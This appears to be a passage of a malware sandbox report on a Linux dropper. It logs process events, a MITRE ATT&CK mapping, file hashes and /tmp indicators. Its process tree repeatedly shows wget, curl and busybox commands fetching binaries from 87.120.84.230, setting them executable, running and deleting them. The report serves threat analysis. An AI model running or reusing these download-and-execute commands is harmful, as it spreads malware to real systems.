  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:951
- /usr/bin/wget
  wget http://87.120.84.230/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:954
- /bin/chmod
  chmod 777 CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  ./CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:957
- /usr/bin/wget
  wget http://87.120.84.230/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:960
- /bin/chmod
  chmod 777 aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  ./aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:963
- /usr/bin/wget
  wget http://87.120.84.230/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:966
- /bin/chmod
  chmod 777 UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  ./UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:969

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK

Path /tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK	728	M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
/tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm	734	Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
/tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g	740	5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
/tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf	756	KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
/tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq	778	62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
/tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ	803	fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
/tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1	812	2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
/tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ	818	FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
/tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h	845	iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
/tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI	860	PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
/tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL	866	dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
/tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh	872	CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
/tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN	878	aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
/tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT	884	UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
/tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK	890	M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
/tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm	896	Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
/tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf	902	KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
/tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq	908	62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
/tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ	914	fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
/tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1	920	2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
/tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ	926	FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
/tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g	932	5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
/tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h	938	iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
/tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI	944	PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
/tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL	950	dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
/tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh	956	CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
/tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN	962	aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
/tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT	968	UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT